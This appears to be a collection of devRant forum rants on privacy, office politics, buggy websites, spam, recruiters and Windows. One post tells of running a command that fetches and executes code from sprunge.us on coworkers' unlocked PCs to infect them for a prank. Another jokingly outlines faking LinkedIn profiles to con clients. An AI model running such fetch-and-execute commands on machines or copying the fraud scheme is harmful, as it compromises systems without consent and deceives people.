!(short rant)

Look I understand online privacy is a concern and we should really be very much aware about what data we are giving to whom. But when does it turn from being aware to just being paranoid and a maniac about it.? I mean okay, I know facebook has access to your data including your whatsapp chat (presumably), google listens to your conversations and snoops on your mail and shit, amazon advertises that you must have their spy system (read alexa) install in your homes and numerous other cases. But in the end it really boils down to "everyone wants your data but who do you trust your data with?"

For me, facebook and the so-called social media sites are a strict no-no but I use whatsapp as my primary chating application. I like to use google for my searches because yaa it gives me more accurate search results as compared to ddg because it has my search history. I use gmail as my primary as well as work email because it is convinient and an adv here and there doesnt bother me. Their spam filters, the easy accessibility options, the storage they offer everything is much more convinient for me. I use linux for my work related stuff (obviously) but I play my games on windows. Alexa and such type of products are again a big no-no for me but I regularly shop from amazon and unless I am searching for some weird ass shit (which if you want to, do it in some incognito mode) I am fine with coming across some advs about things I searched for. Sometimes it reminds me of things I need to buy which I might have put off and later on forgot. I have an amazon prime account because prime video has some good shows in there. My primary web browser is chrome because I simply love its developer tools and I now have gotten used to it. So unless chrome is very much hogging on my ram, in which case I switch over to firefox for some of my tabs, I am okay with using chrome. I have a motorola phone with stock android which means all google apps pre-installed. I use hangouts, google keep, google map(cannot live without it now), heck even google photos, but I also deny certain accesses to apps which I find fishy like if you are a game, you should not have access to my gps. I live in India where we have aadhar cards(like the social securtiy number in the USA) where the government has our fingerprints and all our data because every damn thing now needs to be linked with your aadhar otherwise your service will be terminated. Like your mobile number, your investment policies, your income tax, heck even your marraige certificates need to be linked with your aadhar card. Here, I dont have any option but to give in because somehow "its in the interest of the nation". Not surprisingly, this thing recently came to light where you can get your hands on anyone's aadhar details including their fingerprints for just ₹50($1). Fuck that shit.

tl;dr
There are and should be always exceptions when it comes to privacy because when you give the other person your data, it sometimes makes your life much easier. On the other hand, people/services asking for your data with the sole purpose of infilterating into your private life and not providing any usefulness should just be boycotted. It all boils down to till what extent you wish to share your data(ranging from literally installing a spying device in your house to them knowing that I want to understand how spring security works) and how much do you trust the service with your data. Example being, I just shared most of my private data in this rant with a group of unknown people and I am okay with it, because I know I can trust dev rant with my posts(unlike facebook).

> In office for first time in awhile
> Run into group of 4 people I don’t recognize in far cubicle corning laughing in hushed voices eating of an impressive spread of food
> See me and immediately look at each other with panicked expressions
> Confused, I put my hands up to indicate I come in peace
> They relax a little and say they thought I was from HR since they didn’t recognize me
> Ask why HR seeing them would be such a big deal
> They say their potluck is not “sanctioned”
> …?

So apparently HR just could resist ruining one of the only good things about coming into the office and one of the coolest things about the company’s culture. At least once a month there would be a giant potluck where everyone would bring some home cooked dish and share it. I can’t tell you how amazing these are in Canada, 50+ plates of authentic food from all over the world.

Unfortunately HR didn’t agree as 1. They didn’t cook so felt bad taking food. 2. Nobody asked them permission to put on these events they just happened organically. 3. Some people were bringing in food that they felt was culturally inappropriate (ie. caucasian guy bringing in homemade sushi).

HR recently banned all “unsanctioned” potlucks and all future potlucks needed to be approved through them with the following stipulations. 1. You could participate without bringing something by donating to HR $10 2. If you brought something you still had to give HR $10. 3. Things you brought in had to be approved by HR

Naturally the first and only potluck under these rules only 4 people brought something in as many couldn’t get their dishes approved because HR didn’t like what they were planning to bring (started out as being because culture and turned into HR just being picky), most just brought $10 so there wasn’t enough food to go around and so after HR took a giant group photo to post on the company’s social media accounts to show off how good the company’s culture is most everyone had to go out for lunch. HR sent out an email later that day exclaiming what a huge success for charity and the company brand the potluck was and they can’t wait for the next one. (I have the HR communications email marked as spam so I never saw the email). Nobody ever organized a sanctioned potluck after that.

However people still missed cooking and sharing their favourite recipes with one another so potlucks still occur but they are now very small, secret, invite-only, hush-hush affairs.

…What in the ever loving fuck

I had this prepared in advance and executed on April 1st few years ago.

1. I wrote an app in Python that would autostart self & listen to UDP multicast and spam screen with message boxes once a special "magic" UDP broadcast kicks in. The app had minimum dependencies and used native libs for GUI to achieve this.
2. I posted this app source code on sprunge.us and remembered the short URL.
3. Once one of my coworkers left their PC unlocked, I opened their terminal and executed '$(wget -c sprunge.us/ASDF)' and closed the terminal as if nothing happened. I infected almost all machines this way.
4. On the April 1st I get to my office, open the terminal, send a magic UDP broadcast packet anf enjoy the chaos.

Man, that was hilarious.

Best part about the covid19 manufactured crisis?
Liquor stores deliver. Worst part about liquor stores delivering? Needing to use their shoddy websites.

I've been using a particular store (Total Wines) since they're cheaper than the rest and have better selection; it's quite literally a large warehouse made to look like a store.

Their website tries really hard to look professional, too, but it's just not. It took me two days to order, and not just from lack of time -- though from working 14 hour days, that's a factor.

Signing up was difficult. Your username is an email address, but you can't use comments because the server 500s, making the ajax call produce a wonderfully ambiguous error message. It also fades the page out like it's waiting on something, but that fade is on top of the error modal too. Similar error with the password field, though I don't remember how I triggered it.

Signing up also requires agreeing to subscribe to their newsletter. it's technically an opt-in, but not opting-in doesn't allow you to proceed. Same with opting-in to receiving a text notification when your order is ready for pickup -- you also opt-in to reciving SMS spam.

Another issue: After signing up, you start to navigate through the paginated product list. Every page change scrolls you to the exact middle of the next page. Not deliberatly; the UI loads first, and the browser gets as close as it can to your previous position -- which was below that as the pagination is at the bottom -- and then the products populate after. But regardless of why, there is no worse place to start because now you must scroll in both directions to view the products. If it stayed at the very bottom, it would at least mean you only need to scroll upwards to look at everything on the page. Minor, but increasingly irritating.

Also, they have like 198 pages of spirits alone because each size is unique entry. A 50ml, 350ml, 500ml, 750ml, 1000ml, and 1750ml bottle of e.g. Tito's vodka isn't one product, it's six. and they're sorted seemingly randomly. I think it's by available stock, looking back.

If you fancy a product, you can click on it for a detail page. Said detail page lists the various sizes in a dropdown, but they're not sorted correctly either, and changing sizes triggers a page reload, which leads to another problem:

if you navigate to more than a few pages within a 10 or so second window, the site accuses you of using browser automation. No captcha here, just a "click me for five seconds" button. However, it (usually) also triggers the check on every other tab you have open after its next nagivation.

That product page also randomly doesn't work. I haven't narrowed it down, but it will randomly decide to start failing, and won't stop failing for hours. It renders the page just fine, then immediately replaces it with a blank page. When it's failing, the only way to interact with the page is a perfectly-timed [esc], which can (and usually does) break all other page functionality, too. Absolutely great when you need to re-add everything from a stale copy of your signed-out cart living in another tab. More on that later. And don't forget to slow down to bypass the "browser automation" check, too!

Oh, and if you're using container tabs, make sure to open new tabs in the SAME container, as any request from the same IP without the login cookie will usually trigger that "browser automation" response, too.

The site also randomly signs you out, but allows you to continue amassing your cart. You'd think this is a good thing until you choose to sign in again... which empties your cart. It's like they don't want to make a sale at all.

The site also randomly forgets your name, replacing it with "null." My screen currently says "Hello, null". Hello, cruft!

It took me two days to order.
Mostly from lack of time, as i've been pulling 14 hour shifts lately trying to get everything done. but the sheer number of bugs certainly wasted most of what little time i had left. Now I definitely need a drink.

But maybe putting up with all of this is worthwhile because of their loyalty program? Apparently if you spend $500, you can take $5 off your next purchase! Yay! 1%! And your points expire! There are three levels; maybe it gets better. Level zero is for everyone; $0 requirement. There are also levels at $500 and $2500. That last one is seriously 5x more than the first paid level. and what does it earn you? A 'free' magazine subscription, 'free' classes (they're usually like $20-$50 iirc), and a 'free' grab bag (a $2.99 value!) twice per month. All for spending $2500. What a steal. It reminds me of Candy Crush's 3-star system where the first two stars are trivial, and the third is usually a difficult stretch goal. But here it's just thinly-veiled manipulation with no benefit.

I can tell they're employing some "smarketing" people with big ideas (read: stolen mistakes), but it's just such a fail.

The whole thing is a fail.

I've found and fixed any kind of "bad bug" I can think of over my career from allowing negative financial transfers to weird platform specific behaviour, here are a few of the more interesting ones that come to mind...

#1 - Most expensive lesson learned

Almost 10 years ago (while learning to code) I wrote a loyalty card system that ended up going national. Fast forward 2 years and by some miracle the system still worked and had services running on 500+ POS servers in large retail stores uploading thousands of transactions each second - due to this increased traffic to stay ahead of any trouble we decided to add a loadbalancer to our backend.

This was simply a matter of re-assigning the IP and would cause 10-15 minutes of downtime (for the first time ever), we made the switch and everything seemed perfect. Too perfect...

After 10 minutes every phone in the office started going beserk - calls where coming in about store servers irreparably crashing all over the country taking all the tills offline and forcing them to close doors midday. It was bad and we couldn't conceive how it could possibly be us or our software to blame.

Turns out we made the local service write any web service errors to a log file upon failure for debugging purposes before retrying - a perfectly sensible thing to do if I hadn't forgotten to check the size of or clear the log file. In about 15 minutes of downtime each stores error log proceeded to grow and consume every available byte of HD space before crashing windows.

#2 - Hardest to find

This was a true "Nessie" bug.. We had a single codebase powering a few hundred sites. Every now and then at some point the web server would spontaneously die and vommit a bunch of sql statements and sensitive data back to the user causing huge concern but I could never remotely replicate the behaviour - until 4 years later it happened to one of our support staff and I could pull out their network & session info.

Turns out years back when the server was first setup each domain was added as an individual "Site" on IIS but shared the same root directory and hence the same session path. It would have remained unnoticed if we had not grown but as our traffic increased ever so often 2 users of different sites would end up sharing a session id causing the server to promptly implode on itself.

#3 - Most elegant fix

Same bastard IIS server as #2. Codebase was the most unsecure unstable travesty I've ever worked with - sql injection vuns in EVERY URL, sql statements stored in COOKIES... this thing was irreparably fucked up but had to stay online until it could be replaced. Basically every other day it got hit by bots ended up sending bluepill spam or mining shitcoin and I would simply delete the instance and recreate it in a semi un-compromised state which was an acceptable solution for the business for uptime... until we we're DDOS'ed for 5 days straight.

My hands were tied and there was no way to mitigate it except for stopping individual sites as they came under attack and starting them after it subsided... (for some reason they seemed to be targeting by domain instead of ip). After 3 days of doing this manually I was given the go ahead to use any resources necessary to make it stop and especially since it was IIS6 I had no fucking clue where to start.

So I stuck to what I knew and deployed a $5 vm running an Nginx reverse proxy with heavy caching and rate limiting linked to a custom fail2ban plugin in in front of the insecure server. The attacks died instantly, the server sped up 10x and was never compromised by bots again (presumably since they got back a linux user agent). To this day I marvel at this miracle $5 fix.

I think I nailed it.

I had an interview on Friday. Never had I ever such a good one. Everything went so smoothly I'm amazed to this moment.

It started pretty much normally. Few questions about me and my CV. Next some soft skills check and few minutes talking in English to make sure I know how to speak.

Next, two funny trick questions. I hope I'll translate them good enough.
1) You've got 6 cups in a row. Three of them, next to each other, are empty. Remaining 3 are full. You've got one movement to make them stand alternately, ie. Full, empty, etc. or Empty, full etc.
2) You've got yourself a cake. Normal, birthday cake in a shape of a cylinder. On three cuts, you have to cut it in 8 equal pieces.

Next was technical interview. The only thing I couldn't answer to was a formula to get angle between camera and two objects on the scene. Something about cos x.

They told me that I was the only recruitee to make project using Hololens SDK. Other people made the images gallery in 2D only.

Also they were VERY impressed that I managed to send them fix that changed a lot of the gallery in an hour. No one was expecting it so fast since the feature wasn't all that simple. Or so they said. Code was written so it wasn't hard to implement this change.

Now I've got to wait at least a week for their response. As you could imagine, I'm nervously checking my email each time I get any spam.

I'd like to thank @fire-phoenix and @Root that were responding to my last posts about this new work tasks and current hardships. I know it's a bit too early to celebrate but I'm just so hyped for how well everything went 😀

So... I’m sitting here doing pretty much nothing, just reading through some rants when all of a sudden I get a wave of emails.

Pinterest!
We noticed a login from a new device or location and want to make sure it’s you.
Device: Firefox, Windows 8
Where: New Jersey, United States (Approximate)

OhhhhhKay then... so there’s a couple of problems with this, 1 I didn’t even know I had a Pinterest account, 2 I don’t have Pinterest in my password manager either.

So I follow the link and fair enough it’s actually pintest, so I attempt to login, to no avail, oh maybe it’s a social login..., ok let’s try google, nope that wasn’t it, deletes account, logins with Facebook, oh here we go, checks logins, 1 random jersey player, deletes account, swaps to Facebook, changes password (this fucker was already 100+ characters) and adds 2FA and contains no new logins 🤔

Ok... so what the fuck, either someone managed to get through a long ass password or something phishy is going on, the email for FB logins is seldomly used (maybe a handful of services at best) as I have another for all the junk and spam bullshit I expect from today’s “marketing”

So Patanjali(aka Ramdev Baba trying to sell you even a fucking underwear as ayurvedic and locally made) released their chat application "Kimbho" and was taken down within 24 hours because of major security flaws.

Some obvious ironies I would like to point out here.

1. Coming up with a chat application with gaping security flaws at this stage when privacy related discussions are happening at every nook and corner, worst move ever.

2. There are elections in 2019 and 1 year would be the right amount of time to gather data on public and start targetting and influencing people. It shouldn't be so obvious and everyone knows which political party Patanjali leans towards.

3. You are promoting an app citing Make In India initiative. You are the biggest Indian based FMCG operating in India, courtesy exploiting nationalist sentiments. Whatever you aim of doing, at least invest a decent amount of money in hiring good developers and designers. If not anything get a content writer who will write you an original description of your app for as low as ₹1000.

4. Promoting a competitor of whatsapp on whatsapp is a brilliant move. Give that marketting fellow a big raise.

5. Replacing the phone icon with a shankh is not innovation. Also, everyone knows about spam farms in Bangladesh and many places in India. So boasting about 1.5 lakh downloads in less than an hour only speaks more about your ignorance and lack of technical knowledge.

6. If you really are promoting "swadeshi app", why are you offering logging in through facebook? I mean even a blind person can clearly see your agenda here.

7. Hike is a messaging app made in India and they are here since long and still it are nowhere near the usage of whatsapp. Selling shit in the name of Make in India is not cool and its high time Patanjali realises this. But then again, it is their only marketting strategy because how else can you sell something as gross as cow urine and that too people buying it voluntarily.

8. If this stunt was carried out to be in the news, well played. You are getting a good amount of publicity, but this time a bad publicity will do more harm than good. People are calling out your bluff and you will get to see the results.

Mr. Baba Ramdev, fraud karo, itna blatant mat karo. India ki public sentimental hai chutiya nahi.

I been seeing spam on devrant lately. It is usually a new account which only have 1 rant (a spam)

Maybe devrant should include some kind of "Are you a developer captcha" which make you fix a bug before creating an account.

Why is whatsapp just AIDS?!

The privacy thing is big but let's take a look at the app.

It's the only messenger app I've ever used that forces you to save incoming images to your gallery if you want to see them, like wtf?

The UI looks like shit and it's kinda hard to understand from a UX perspective, for example read receipts which Messenger does beautifully. Facebook owns WhatsApp so A it's not really a better choice than fb messenger and B it basically has a shit quality application compared to Messenger. The messaging experience in sketchy Chinese dating apps is better.

Also it basically hacks your phone. It turns on notifications and permissions by itself even when I explicitly turned them off, and sends me notifications for muted conversations.

Speaking of notificatikns. Every time I get 1 notification, notifications from every single chat even an unread messages from 3 years ago gets sent to my phone.

It guzzles battery like a monster.

And they have basically formed a cult in the indian community, so now everyone thinks its the best and no one uses anything else because "it's so convenient" which it's NOT. It has a terrible interface, and the only thing I like about it is the fact that it being so shit gives me an excuse to uninstall it and ignore all the fucking spam on there.

Honestly, the app needs to die ASAP because it is frankly the shittiest of shittiest messaging applications.

Extract from a quite old recruiter email (excluding the formalities):

Position: junior dev
Workplace: office for first year, can be changed to remote after (salary will be 50% lower if you go remote though) *suspicion levels starts raising*
Payment: 1€ per line of code (empty lines/comments excluded) or page of documentation *alarms start ringing*
Additional info: on high alert for 4 weeks every 6 weeks *wtf is going on*, salary bonus is 10€ per week *I stopped reading here and moved the email directly to the spam folder*

Tinder Tutorial 101:

I don't understand why everybody has issues with matches. Here is what u do:
1) Open Tinder App
2) Spam-Swipe to the right until you have no more swipes left.
3) Wait for matches
4) Separate good from trash.

Ain't nobody got time to read all these profiles

I am so fucking lost.

I literally have zero expectations from life for now and future.

There was a time when I had so much clarity in my life. Rather, I was known for it.
Folks used to reach me out for guidance and my approaches even worked for others.

I was goal oriented and biased towards action. Failing and learning from it, I used to make things happen and with constant feedback kept progressing.

While none of that has changed, I still feel lost and numb. No, I am not depressed or suffering through any mental illness. I am physical active and able to feel the happiness.

But the recent incident with a narcissistic, left me emotionally handicap. I can no longer feel any kind of love or affection. I overcame the damage done and healed myself.

But now, I am done. Even if I engage with anyone for a relationship it would be mostly for sex. I can care for people around me and be affectionate towards them but when it comes to an intimate relationship, I feel it's not something I can do in this lifetime. I tried multiple times but failed.

These days, all I am doing is putting my heads down and working like crazy. Never in my life I worked more than 10 hours in an entire week. Now, I work 10+ hours everyday. During that time, I am highly productive.

And in my free time, I am busy housekeeping different life problems. Either paying bills, figuring out an insurance, planning some investment, or making some kind of life decision.

It's draining me. I feel as if I am losing sanity. But that's the only thing I am able to do.

Maybe it's the lockdown effect. Maybe some damage is yet to be healed.

But I got nothing better to do. I have some good ideas. Not those hipster-ish disruptive Million dollar ideas, but decent enough to solve a problem for a strong use case.

However, all of this is becoming overwhelming these days. Because decision making is complex and difficult task. It can make or break the future.

As of now I am confused how should I go about pursuing two of the important projects that I want to accomplish.

1. Migrating out of Google ecosystem. Is it even practically possible for my use case? What are the alternatives? Planning to opt in for a paid cloud storage so have to factor in that aspect as well.

I want to keep this new setup only for official use like bank and government stuff. Maybe family and close friends. Then have current ids for public logins and sharing it with retards whom I can block or ignore if they harass me. The research is overwhelming but having a structured setup gives insane amount of efficiency when life is spam free.

2. Migrating my Pihole and OpenVPN setup out of Digital Ocean to GCP. Primarily because $5 is a lot of amount for my computational requirements and Google has used my data enough, for me to use the free tier.
However, there isn't a simple script for a tech noob like me, to go ahead and setup something. I did find a Github repository but the documentation is kind of outdated so RTFM failed for me.

I don't know whether to pursue my start-up or let it go and focus on moving to Europe.

It's just so fucking stupid to even exist. And let's not forget taxes. Bloody taxes.

Job Application Rant #1

So, today I found a great job posting on Linkedin. I was excited and created a unique cover letter and my resume and applied. The job was in another country and I need EU work visa for the job.

The contact for the post was also founder of the company. I asked him, via Linkedin, that if they would sponsor the visa for me if everything went good.

He replied to me that " yes we do sponsor visas, but you have only 3 years of programming experience..."(three dots included). I was like wtf, did I miss important part of post about experience minimum limit or something. I would not like to be spam-applier, guy who applies without reading requirements etc.

I checked requirements again there is no minimum experience limit. Anyways, I thanked him for swift response but damn bruh, do not put unlockable requirements to job posts, so someone's dream would not be crushed.

I am here on devRant now for a while. Althought, reading amy of your stories and taking care of websites is not what I usualy tend to do, I started doing it as a favour for a friend of a friend.
Baaad bad decission :-(

"pls, dis is urgnt! uplood dis pics asap on page"
*mail notification*
*face palm 1* because who sends pictures by mail these days ... I like my 50MiB Inbox, dont spam it with garbage!
*opening mail - lists attachments: 1 file, ~900KiB* ok whats happening now?
*facepalm 2, 3, 4, 5, 6, 7, 8, 9* (10 if there still would be a face to palm on)

the person seriously send me the pictures in an attachment, within a pdf document that was created with MS Word.
No - Just NO!

I should have known better ... sooo much better :(

Some years ago... And some xp less.

An old WordPress installation was attacked and our server was sending thousands of spam mails.

I found out that there was a line of code in the top of every php file. And I removed these files.

The problem was that
1) I was copying this fcking line to new files because I was thinking it was my code.
2) I found a Linux command to detect all these files and I removed them one by one. In every file. Many many files.

#hacker #goodolddays

Rant/collab proposal
The sheer fucking amount of popups on websites that ask this really pisses me off.

"Do you want out pathetic, groveling push notifications"

Option 1: Fuck yes, spam me right now!

Option 2: Later, because who can resist our spam

I propose a chrome addon that replaces the second option on every notification request popup, which is usually "Later" with "Fuck off"

What's up with giving away +1's for anything and everything? I thought this was a place for cranky developers. I expected developers over here to be mean and bullies.

@tisaconundrum yo wtf bro/brodette 46 new notifications!

TL;DR still don't know who 1:11 is...
It looks like my script took screenshots until about 2:50, but there was no activity on the desktop... That means they have to be on A days. I can try to run the script again next Wednesday OR I can use this thing I built to wait until 1:11 and spam the desktop with screenshots claiming to be the NSA... I'm a little too chicken for that lol. Anyways yeah couldn't find out who it was yet and I don't have much time to find out...

Just wanna say that I love devRant b/c :

1. I can write as l33t as I wish knowing that most of u will get the msg, some of u can decode almost anything ( exceptions r the Manuscript and some of AOK posts )

2. I can be sarcastic, say stupid things w/0 fasing a wave of comfused hate

3. speaking 0f which, d re-@ll haters & <spam>3rs r quickly kicked out ( shout 4 all moderators )

4. most of u r critical thinkers and is a pleasure to read some of d discussions

5. one can learn a lot for the other parts of the IT in which is not involved ( yet )

6. It's hell of a fun around you so keep the spirit burning ( might see ya @ burning man, boom, the freshly re-started love parade or just at random point in our small home )

Love ya all. 10x 4 attending this dev/!dev talk

guide to make successful software house company for future me:

1.find shortest domain name with code / star / best / it / super / ai / - whatever banger word you find
2. parse companies work board / linkedin jobs
3. parse people profiles
4. setup email server and create fake linkedin profiles that match jobs and candidates so company looks big
5. fake c-level management so company looks big
6. spam likes and create posts generated by ai from multiple profiles
7. spam invitations to people that match job descriptions and to people working within companies posting jobs
8. offer fake candidates that match job description
9. find real but less promising candidates and offer them the job
10. tell that fake candidate is no longer available but you have someone better

success

1. Working with GitHub for a school project (teachers need to check my code there)
2. Getting flagged by GitHub spam-bot for no actual reason
3. Cry

Thanks Windows 10 April update:
i'm not even mad for using my network on high priority when you were downloading the update or taking 1 freaking hour of my working time to finish the updates just to add spam to my lockscreen and an uglier task view but if you could please at least not f**k up all my Wifi, bluetooth and video driver it would be great!
Still having problem with bluetooth connection and i re-installed drivers several times!

Dear Gmail, you guys always claim to be the "best" free email provider, yet each week my inbox gets filled with spammy emails, even after marking those emails as spam for the past 1 year. I'm tired of your bullshits. Fucking fix it already!

Pharmacy... Preorder-mail got stuck in spam due to weird receiver passphrases so they didn't actually order it (it was "banana" followed by an steadily incrementing number). You wouldn't believe their faces after they saw my mail.

It took the pharmacy exactly ONE HOUR to get that medicine after I went up getting them to know that they missed an order. They express ordered it after I guess I signaled the urgency...
That's one of the pretty great things in Germany. If you need medicine and if you're in a medium populated area, you could get it within hours, or at least in 1/2 day if they not express the order and you order over their website.

But this is attacked due to European trade deals. Online pharmacy shops (the ones without local pharmacies) simply trade in from cheaper areas in Europe and can sell much cheaper. Also because they aren't committed to cross finance local hospital medicine delivery which then let's the health insurance raise their prices.
But due to the law for the minimum wage and therefore steadily decreasing wages the online-only pharmacies get more and more of the market cap....
Such problems aren't easy to fix...

Desktop PUSH Notification requests are fucking stupid! I get that you’re all edgy and shit and made your stupid site into a PWA or are just trying to spam me with this amazing new access you’ve been granted over the last few years.... But fucking stop it.

If you have a PWA and a user is viewing you on desktop clearrrllyyyy they’re not mobile and your request is pointless. Log the access as 1 of the 3 they need before being allowed to install it as an icon and ONLY on mobile request push as part of the install. Maybe just maybe it’s ok if they’re mobile browsing...

Use your fucking heads people. Just because you can use something doesn’t mean you should.

1 of the many windows rants i will make since i have to use that on work's laptop.

Let's start.
20GB for an IDE? what a joke.

Seriously MS. Are you fucking retarded? You have a fuckin retarded windows store, and i need to open it 3 times for it to be functional? Fuck you.

I want to change the default browser. YES I FUCKIN WANT TO CHANGE IT, STOP FUCKIN ASKING ME 500 TIMES IF I'M SURE ABOUT IT AND DO THE THING I TOLD YOU TO DO. Fuck you.

2GB on startup? Thanks, appreciated. Miss my 250MB on my linux laptop. FUCK YOU.

Did i fuckin tell you i want to sync the onedrive? I clicked that shit to disable it and you decided to sync the fuck out of it? Fuck you.

Candy crash and other retarded games? LOL, can't say anything. The laptop is from the job, i won't bother uninstalling that shit. In any case MS would reinstall them again. Fuck you.

Fans at 100% for no reason and battery draining like it's a cold drink that drinks someone who is thirsty? Thanks MS, very helpful. Fuck you.

Powershell? Well i leave that. Whenever i remember how slow it is i want to throw the laptop of the window. Fuck you.

Notifications? Thanks, it's very good thing to spam them for no fucking reason. Fuck you.

Skype? Who the fuck told you to install it? Fuck you.

Well i won't say anything about their fuckin updates. Every one knows how retarded and piece of shit they are.

!dev
I've finally been so agitated at G+ I need somewhere to just vent.
So for context. What I'm talking about is Google+, or more specifically, the Android app. The website is bad in its own way, but that's not here nor there. No opinions on the iOS version, as I simply REFUSE to touch iOS.

So anyways. The platform itself honestly is not bad. With competent developers behind it, and them actually listening to their dwindling fucking userbase, they could easily turn it into something successful, but the issue is that they just aren't
You see, it's almost like they change dev staff every 6 or so months. Why do I believe this? Because the GUI changes about that fucking often. They also have a history of forcing updates, but allowing you to use an older version, just horrifically slapping on a new and unwelcome skin. This isn't an isolated practice by any means, but it's by far the most prevalent here.

So, now a list of some of the issues the current version has:
-After about a week, the app becomes unstably slow, to the point of it taking about a minute to refresh your home feed, or an individual page.
-Searching is never good, always being slow and rarely giving you who you asked for.
-Transparency is non fucking existent. There isn't a development roadmap to speak of, and when something happens we get it second hand from staff in a "G+ help" community.

There is a solution for the first one, going and clearing the data/cache, but really, the end user shouldn't have to regularly do that. Not to mention the storage space Google apps IN GENERAL fucking take up. Why does Google Play Services regularly use 250MB? (For most people, this really isn't much. But when you only get to fucking use 4 GB of internal storage it's a giant fuck you.)

Bah, back to the topic at hand.
There isn't a good solution to searching, or for transparency at the moment.
The spam filter is awful as well. REGULARLY letting obvious spam pass, regularly blocking and filtering genuine users. It's real annoying that the Android app itself doesn't have support for seeing these flags outside of rooting through the settings a bit, but still. The web and iOS versions have this already.

Oh, it also completely lacks a dark mode like most Google apps for some fuckin reason.

That concludes my random 1:30 AM rant about something I have no ability to change, except hope in vain that someone who has the ability to change this forwards this to the developers of G+.

I need a better sleep schedule.

I have to participate in this retarded conference for 2 days and then I will have to join this fucking summer gathering on my weekend and that will take whole day. Fuck this fucking corporate bullshit. Better give me a fucking raise or better yet start fucking managing this scrum team because half of devs are not pulling their fucking weight.

Fucking BA too lazy to update issues with new details after grooming so each time I pick a new task I either have to somehow remember what we discussed weeks ago or I have to spam you with questions so you would run around like chicken without head while gathering answers to questions that were already discussed because you are too lazy of a fuck to compile notes. And even that is not enough, my merged MR's apparently dont cover all the use cases because your'e too incompetent to even figure out how our app works and define properly the task.

And then theres supposedly a techlead dev whos not taking a ticket when theres 3 days left till end of the sprint and he goes: "But a task spillover will happen!!!". Yeah so I guess just sit on your ass and wait for new sprint so you could pick yet again another low hanging fruit task and marinate it for weeks.

Motherfucker I checked your MR's in the last 6 weeks you did 1 week worth of work. You are a techlead but your only dev colleague is asking us for help daily because you dont even help him Fucking lazy and incompetent bastard.